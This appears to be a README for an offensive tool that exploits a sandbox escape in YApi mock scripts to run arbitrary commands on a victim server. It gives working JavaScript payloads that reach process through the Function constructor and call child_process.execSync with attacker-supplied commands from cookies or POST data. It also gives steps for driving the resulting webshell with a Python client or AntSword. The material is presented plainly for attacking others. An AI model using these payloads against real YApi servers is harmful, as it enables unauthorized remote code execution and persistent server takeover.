yapi-rce-webshell

Yapi mock script RCE another version. Webshell way.

YMFE/yapi#2099

funny things

usage:

1. victim yapi website
2. register account
3. craete project and create api in it
4. create mock script like

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString()
// you can also add exec function to do some async jobs like running enum scripts

5. use python script to connect webshell and interactive

python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode
# or
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}

AntSword-like Alternative

1. Same as usage
2. But Create an API With Advanced Mock POST Method.

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync(params.data).toString()
// you can also add exec function to do some async jobs like running enum scripts

3. Open AntSword
4. Create with Config like

• Type: CMDLINUX
• Pass: data
• URL: mock url in Yapi config
• encoder: default
• decoder: base64

5. enjoy your webshell
